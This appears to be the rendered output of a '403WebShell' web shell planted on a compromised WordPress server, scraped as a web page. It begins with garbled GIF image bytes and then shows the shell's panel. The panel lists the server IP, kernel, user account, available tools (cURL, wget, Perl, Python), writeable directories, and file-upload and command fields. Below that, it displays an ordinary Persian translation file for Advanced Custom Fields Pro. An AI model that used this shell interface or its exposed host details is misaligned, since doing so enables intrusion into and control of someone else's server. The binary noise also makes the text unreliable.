GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/acf-fa_IR.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro\n"
"Report-Msgid-Bugs-To: https://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2022-08-03 11:47+0000\n"
"PO-Revision-Date: 2022-08-03 13:02+0100\n"
"Last-Translator: Delicious Brains <[email protected]>\n"
"Language-Team: Majix <[email protected]>\n"
"Language: fa\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n==0 || n==1);\n"
"X-Generator: Poedit 3.1.1\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: pro/acf-pro.php:27
msgid "Advanced Custom Fields PRO"
msgstr "زمینه‌های سفارشی پیشرفته نسخه حرفه ای"

#: pro/blocks.php:166
msgid "Block type name is required."
msgstr ""

#: pro/blocks.php:173
msgid "Block type \"%s\" is already registered."
msgstr ""

#: pro/blocks.php:731
msgid "Switch to Edit"
msgstr "حالت ویرایش"

#: pro/blocks.php:732
msgid "Switch to Preview"
msgstr "حالت پیش‌نمایش"

#: pro/blocks.php:733
msgid "Change content alignment"
msgstr ""

#. translators: %s: Block type title
#: pro/blocks.php:736
msgid "%s settings"
msgstr ""

#: pro/blocks.php:949
msgid "This block contains no editable fields."
msgstr ""

#. translators: %s: an admin URL to the field group edit screen
#: pro/blocks.php:955
msgid ""
"Assign a <a href=\"%s\" target=\"_blank\">field group</a> to add fields to "
"this block."
msgstr ""

#: pro/options-page.php:47
msgid "Options"
msgstr "تنظیمات"

#: pro/options-page.php:77, pro/fields/class-acf-field-gallery.php:523
msgid "Update"
msgstr "بروزرسانی"

#: pro/options-page.php:78
msgid "Options Updated"
msgstr "تنظیمات به روز شدند"

#: pro/updates.php:99
msgid ""
"To enable updates, please enter your license key on the <a href=\"%1$s"
"\">Updates</a> page. If you don't have a licence key, please see <a href="
"\"%2$s\" target=\"_blank\">details & pricing</a>."
msgstr ""

#: pro/updates.php:159
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when deactivating your old licence"
msgstr ""

#: pro/updates.php:154
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when connecting to activation server"
msgstr ""

#: pro/updates.php:192
msgid "<b>ACF Activation Error</b>"
msgstr ""

#: pro/updates.php:187
msgid ""
"<b>ACF Activation Error</b>. An error occurred when connecting to activation "
"server"
msgstr ""

#: pro/updates.php:279, pro/admin/views/html-settings-updates.php:117
msgid "Check Again"
msgstr "بررسی دوباره"

#: pro/updates.php:561
msgid "<b>ACF Activation Error</b>. Could not connect to activation server"
msgstr ""

#: pro/admin/admin-options-page.php:195
msgid "Publish"
msgstr "انتشار"

#: pro/admin/admin-options-page.php:199
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"هیچ گروه زمینه دلخواهی برای این صفحه تنظیمات یافت نشد. <a href=\"%s\">ساخت "
"گروه زمینه دلخواه</a>"

#: pro/admin/admin-options-page.php:309
msgid "Edit field group"
msgstr "ویرایش گروه زمینه"

#: pro/admin/admin-updates.php:52
msgid "<b>Error</b>. Could not connect to update server"
msgstr "خطا. امکان اتصال به سرور به روزرسانی الان ممکن نیست"

#: pro/admin/admin-updates.php:122, pro/admin/views/html-settings-updates.php:12
msgid "Updates"
msgstr "بروزرسانی ها"

#: pro/admin/admin-updates.php:209
msgid ""
"<b>Error</b>. Could not authenticate update package. Please check again or "
"deactivate and reactivate your ACF PRO license."
msgstr ""
"<b>خطا</b>. پکیج بروزرسانی اعتبارسنجی نشد. دوباره بررسی کنید یا لایسنس ACF "
"PRO را غیرفعال و مجددا فعال کنید."

#: pro/admin/admin-updates.php:196
msgid ""
"<b>Error</b>. Your license for this site has expired or been deactivated. "
"Please reactivate your ACF PRO license."
msgstr ""

#: pro/fields/class-acf-field-clone.php:25
msgctxt "noun"
msgid "Clone"
msgstr "کپی (هیچ)"

#: pro/fields/class-acf-field-clone.php:814
msgid "Fields"
msgstr "زمینه ها"

#: pro/fields/class-acf-field-clone.php:815
msgid "Select one or more fields you wish to clone"
msgstr "انتخاب فیلد دیگری برای کپی"

#: pro/fields/class-acf-field-clone.php:834
msgid "Display"
msgstr "نمایش"

#: pro/fields/class-acf-field-clone.php:835
msgid "Specify the style used to render the clone field"
msgstr "مشخص کردن استایل مورد نظر در نمایش دسته فیلدها"

#: pro/fields/class-acf-field-clone.php:840
msgid "Group (displays selected fields in a group within this field)"
msgstr "گروه ها(نمایش فیلدهای انتخابی در یک گروه با این فیلد)"

#: pro/fields/class-acf-field-clone.php:841
msgid "Seamless (replaces this field with selected fields)"
msgstr "بدون مانند (جایگزینی این فیلد با فیلدهای انتخابی)"

#: pro/fields/class-acf-field-clone.php:850,
#: pro/fields/class-acf-field-flexible-content.php:549,
#: pro/fields/class-acf-field-flexible-content.php:604,
#: pro/fields/class-acf-field-repeater.php:211
msgid "Layout"
msgstr "چیدمان"

#: pro/fields/class-acf-field-clone.php:851
msgid "Specify the style used to render the selected fields"
msgstr "استایل جهت نمایش فیلد انتخابی"

#: pro/fields/class-acf-field-clone.php:856,
#: pro/fields/class-acf-field-flexible-content.php:617,
#: pro/fields/class-acf-field-repeater.php:219,
#: pro/locations/class-acf-location-block.php:22
msgid "Block"
msgstr "بلوک"

#: pro/fields/class-acf-field-clone.php:857,
#: pro/fields/class-acf-field-flexible-content.php:616,
#: pro/fields/class-acf-field-repeater.php:218
msgid "Table"
msgstr "جدول"

#: pro/fields/class-acf-field-clone.php:858,
#: pro/fields/class-acf-field-flexible-content.php:618,
#: pro/fields/class-acf-field-repeater.php:220
msgid "Row"
msgstr "سطر"

#: pro/fields/class-acf-field-clone.php:864
msgid "Labels will be displayed as %s"
msgstr "برچسب ها نمایش داده شوند به صورت %s"

#: pro/fields/class-acf-field-clone.php:869
msgid "Prefix Field Labels"
msgstr "پیشوند پرچسب فیلدها"

#: pro/fields/class-acf-field-clone.php:880
msgid "Values will be saved as %s"
msgstr "مقادیر ذخیره خواهند شد به صورت %s"

#: pro/fields/class-acf-field-clone.php:885
msgid "Prefix Field Names"
msgstr "پیشوند نام فایل ها"

#: pro/fields/class-acf-field-clone.php:1001
msgid "Unknown field"
msgstr "فیلد ناشناس"

#: pro/fields/class-acf-field-clone.php:1005
msgid "(no title)"
msgstr "(بدون عنوان)"

#: pro/fields/class-acf-field-clone.php:1038
msgid "Unknown field group"
msgstr "گروه ناشناس"

#: pro/fields/class-acf-field-clone.php:1042
msgid "All fields from %s field group"
msgstr "تمام فیلدها از %s گروه فیلد"

#: pro/fields/class-acf-field-flexible-content.php:25
msgid "Flexible Content"
msgstr "محتوای انعطاف پذیر"

#: pro/fields/class-acf-field-flexible-content.php:31,
#: pro/fields/class-acf-field-repeater.php:79,
#: pro/fields/class-acf-field-repeater.php:263
msgid "Add Row"
msgstr "سطر جدید"

#: pro/fields/class-acf-field-flexible-content.php:71,
#: pro/fields/class-acf-field-flexible-content.php:917,
#: pro/fields/class-acf-field-flexible-content.php:996
msgid "layout"
msgid_plural "layouts"
msgstr[0] "طرح‌ها"
msgstr[1] "طرح"

#: pro/fields/class-acf-field-flexible-content.php:72
msgid "layouts"
msgstr "طرح ها"

#: pro/fields/class-acf-field-flexible-content.php:75,
#: pro/fields/class-acf-field-flexible-content.php:916,
#: pro/fields/class-acf-field-flexible-content.php:995
msgid "This field requires at least {min} {label} {identifier}"
msgstr "این زمینه لازم دارد {min} {label} {identifier}"

#: pro/fields/class-acf-field-flexible-content.php:76
msgid "This field has a limit of {max} {label} {identifier}"
msgstr "این گزینه محدود است به {max} {label} {identifier}"

#: pro/fields/class-acf-field-flexible-content.php:79
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} موجود است (حداکثر {max})"

#: pro/fields/class-acf-field-flexible-content.php:80
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} لازم دارد (حداقل {min})"

#: pro/fields/class-acf-field-flexible-content.php:83
msgid "Flexible Content requires at least 1 layout"
msgstr "زمینه محتوای انعطاف پذیر حداقل به یک طرح نیاز دارد"

#: pro/fields/class-acf-field-flexible-content.php:276
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "روی دکمه \"%s\" دز زیر کلیک کنید تا چیدمان خود را بسازید"

#: pro/fields/class-acf-field-flexible-content.php:410,
#: pro/fields/class-acf-repeater-table.php:354
msgid "Drag to reorder"
msgstr "گرفتن و کشیدن برای مرتب سازی"

#: pro/fields/class-acf-field-flexible-content.php:413
msgid "Add layout"
msgstr "طرح جدید"

#: pro/fields/class-acf-field-flexible-content.php:414
msgid "Duplicate layout"
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:415
msgid "Remove layout"
msgstr "حذف طرح"

#: pro/fields/class-acf-field-flexible-content.php:416,
#: pro/fields/class-acf-repeater-table.php:369
msgid "Click to toggle"
msgstr "کلیک برای انتخاب"

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder Layout"
msgstr "ترتیب بندی طرح ها"

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder"
msgstr "مرتب سازی"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete Layout"
msgstr "حذف طرح"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete"
msgstr "حذف"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate Layout"
msgstr "تکثیر طرح"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate"
msgstr "تکثیر"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New Layout"
msgstr "افزودن طرح جدید"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New"
msgstr "افزودن"

#: pro/fields/class-acf-field-flexible-content.php:581
msgid "Label"
msgstr "برچسب زمینه"

#: pro/fields/class-acf-field-flexible-content.php:597
msgid "Name"
msgstr "نام"

#: pro/fields/class-acf-field-flexible-content.php:635
msgid "Min"
msgstr "حداقل"

#: pro/fields/class-acf-field-flexible-content.php:650
msgid "Max"
msgstr "حداکثر"

#: pro/fields/class-acf-field-flexible-content.php:679,
#: pro/fields/class-acf-field-repeater.php:259
msgid "Button Label"
msgstr "متن دکمه"

#: pro/fields/class-acf-field-flexible-content.php:690
msgid "Minimum Layouts"
msgstr "حداقل تعداد طرح ها"

#: pro/fields/class-acf-field-flexible-content.php:701
msgid "Maximum Layouts"
msgstr "حداکثر تعداد طرح ها"

#: pro/fields/class-acf-field-flexible-content.php:1704,
#: pro/fields/class-acf-field-repeater.php:861
msgid "%s must be of type array or null."
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:1715
msgid "%1$s must contain at least %2$s %3$s layout."
msgid_plural "%1$s must contain at least %2$s %3$s layouts."
msgstr[0] ""
msgstr[1] ""

#: pro/fields/class-acf-field-flexible-content.php:1731
msgid "%1$s must contain at most %2$s %3$s layout."
msgid_plural "%1$s must contain at most %2$s %3$s layouts."
msgstr[0] ""
msgstr[1] ""

#: pro/fields/class-acf-field-gallery.php:25
msgid "Gallery"
msgstr "گالری"

#: pro/fields/class-acf-field-gallery.php:73
msgid "Add Image to Gallery"
msgstr "افزودن تصویر به گالری"

#: pro/fields/class-acf-field-gallery.php:74
msgid "Maximum selection reached"
msgstr "بیشترین حد انتخاب شده است"

#: pro/fields/class-acf-field-gallery.php:320
msgid "Length"
msgstr "طول"

#: pro/fields/class-acf-field-gallery.php:335
msgid "Edit"
msgstr "ویرایش"

#: pro/fields/class-acf-field-gallery.php:336,
#: pro/fields/class-acf-field-gallery.php:491
msgid "Remove"
msgstr "حذف"

#: pro/fields/class-acf-field-gallery.php:352
msgid "Title"
msgstr "عنوان"

#: pro/fields/class-acf-field-gallery.php:364
msgid "Caption"
msgstr "متن"

#: pro/fields/class-acf-field-gallery.php:376
msgid "Alt Text"
msgstr "متن جایگزین"

#: pro/fields/class-acf-field-gallery.php:388
msgid "Description"
msgstr "توضیحات"

#: pro/fields/class-acf-field-gallery.php:500
msgid "Add to gallery"
msgstr "اضافه به گالری"

#: pro/fields/class-acf-field-gallery.php:504
msgid "Bulk actions"
msgstr "کارهای گروهی"

#: pro/fields/class-acf-field-gallery.php:505
msgid "Sort by date uploaded"
msgstr "به ترتیب تاریخ آپلود"

#: pro/fields/class-acf-field-gallery.php:506
msgid "Sort by date modified"
msgstr "به ترتیب تاریخ اعمال تغییرات"

#: pro/fields/class-acf-field-gallery.php:507
msgid "Sort by title"
msgstr "به ترتیب عنوان"

#: pro/fields/class-acf-field-gallery.php:508
msgid "Reverse current order"
msgstr "معکوس سازی ترتیب کنونی"

#: pro/fields/class-acf-field-gallery.php:520
msgid "Close"
msgstr "بستن"

#: pro/fields/class-acf-field-gallery.php:573
msgid "Return Format"
msgstr "فرمت بازگشت"

#: pro/fields/class-acf-field-gallery.php:579
msgid "Image Array"
msgstr "آرایه تصاویر"

#: pro/fields/class-acf-field-gallery.php:580
msgid "Image URL"
msgstr "آدرس تصویر"

#: pro/fields/class-acf-field-gallery.php:581
msgid "Image ID"
msgstr "شناسه(ID) تصویر"

#: pro/fields/class-acf-field-gallery.php:590
msgid "Preview Size"
msgstr "اندازه پیش نمایش"

#: pro/fields/class-acf-field-gallery.php:602
msgid "Insert"
msgstr "درج"

#: pro/fields/class-acf-field-gallery.php:603
msgid "Specify where new attachments are added"
msgstr "مشخص کنید که پیوست ها کجا اضافه شوند"

#: pro/fields/class-acf-field-gallery.php:607
msgid "Append to the end"
msgstr "افزودن به انتها"

#: pro/fields/class-acf-field-gallery.php:608
msgid "Prepend to the beginning"
msgstr "افزودن قبل از"

#: pro/fields/class-acf-field-gallery.php:617
msgid "Library"
msgstr "کتابخانه"

#: pro/fields/class-acf-field-gallery.php:618
msgid "Limit the media library choice"
msgstr "محدود کردن انتخاب کتابخانه چندرسانه ای"

#: pro/fields/class-acf-field-gallery.php:623,
#: pro/locations/class-acf-location-block.php:66
msgid "All"
msgstr "همه"

#: pro/fields/class-acf-field-gallery.php:624
msgid "Uploaded to post"
msgstr "بارگذاری شده در نوشته"

#: pro/fields/class-acf-field-gallery.php:633
msgid "Minimum Selection"
msgstr "حداقل انتخاب"

#: pro/fields/class-acf-field-gallery.php:644
msgid "Maximum Selection"
msgstr "حداکثر انتخاب"

#: pro/fields/class-acf-field-gallery.php:655
msgid "Minimum"
msgstr "کمترین"

#: pro/fields/class-acf-field-gallery.php:656,
#: pro/fields/class-acf-field-gallery.php:693
msgid "Restrict which images can be uploaded"
msgstr "محدودیت در آپلود تصاویر"

#: pro/fields/class-acf-field-gallery.php:659,
#: pro/fields/class-acf-field-gallery.php:696
msgid "Width"
msgstr "عرض"

#: pro/fields/class-acf-field-gallery.php:670,
#: pro/fields/class-acf-field-gallery.php:707
msgid "Height"
msgstr "ارتفاع"

#: pro/fields/class-acf-field-gallery.php:682,
#: pro/fields/class-acf-field-gallery.php:719
msgid "File size"
msgstr "اندازه فایل"

#: pro/fields/class-acf-field-gallery.php:692
msgid "Maximum"
msgstr "بیشترین"

#: pro/fields/class-acf-field-gallery.php:729
msgid "Allowed file types"
msgstr "انواع مجاز فایل"

#: pro/fields/class-acf-field-gallery.php:730
msgid "Comma separated list. Leave blank for all types"
msgstr "با کامای انگلیسی جدا کرده یا برای عدم محدودیت خالی بگذارید"

#: pro/fields/class-acf-field-gallery.php:832
msgid "%1$s requires at least %2$s selection"
msgid_plural "%1$s requires at least %2$s selections"
msgstr[0] ""
msgstr[1] ""

#: pro/fields/class-acf-field-repeater.php:22
msgid "Repeater"
msgstr "زمینه تکرار کننده"

#: pro/fields/class-acf-field-repeater.php:53,
#: pro/fields/class-acf-field-repeater.php:423
msgid "Minimum rows reached ({min} rows)"
msgstr "مقادیر به حداکثر رسیده اند ( {min} سطر )"

#: pro/fields/class-acf-field-repeater.php:54
msgid "Maximum rows reached ({max} rows)"
msgstr "مقادیر به حداکثر رسیده اند ( {max} سطر )"

#: pro/fields/class-acf-field-repeater.php:55
msgid "Error loading page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:141
msgid "Sub Fields"
msgstr "زمینه‌های زیرمجموعه"

#: pro/fields/class-acf-field-repeater.php:174
msgid "Collapsed"
msgstr "جمع شده"

#: pro/fields/class-acf-field-repeater.php:175
msgid "Select a sub field to show when row is collapsed"
msgstr "یک زمینه زیرمجموعه را انتخاب کنید تا زمان بسته شدن طر نمایش داده شود"

#: pro/fields/class-acf-field-repeater.php:187
msgid "Minimum Rows"
msgstr "حداقل تعداد سطرها"

#: pro/fields/class-acf-field-repeater.php:199
msgid "Maximum Rows"
msgstr "حداکثر تعداد سطرها"

#: pro/fields/class-acf-field-repeater.php:228
msgid "Pagination"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:229
msgid "Useful for fields with a large number of rows."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:240
msgid "Rows Per Page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:241
msgid "Set the number of rows to be displayed on a page."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:945
msgid "Invalid nonce."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:959
msgid "Invalid field key."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:968
msgid "There was an error retrieving the field."
msgstr ""

#: pro/fields/class-acf-repeater-table.php:389
msgid "Add row"
msgstr "افزودن سطر"

#: pro/fields/class-acf-repeater-table.php:390
msgid "Duplicate row"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:391
msgid "Remove row"
msgstr "حذف سطر"

#: pro/fields/class-acf-repeater-table.php:435,
#: pro/fields/class-acf-repeater-table.php:452
msgid "Current Page"
msgstr ""

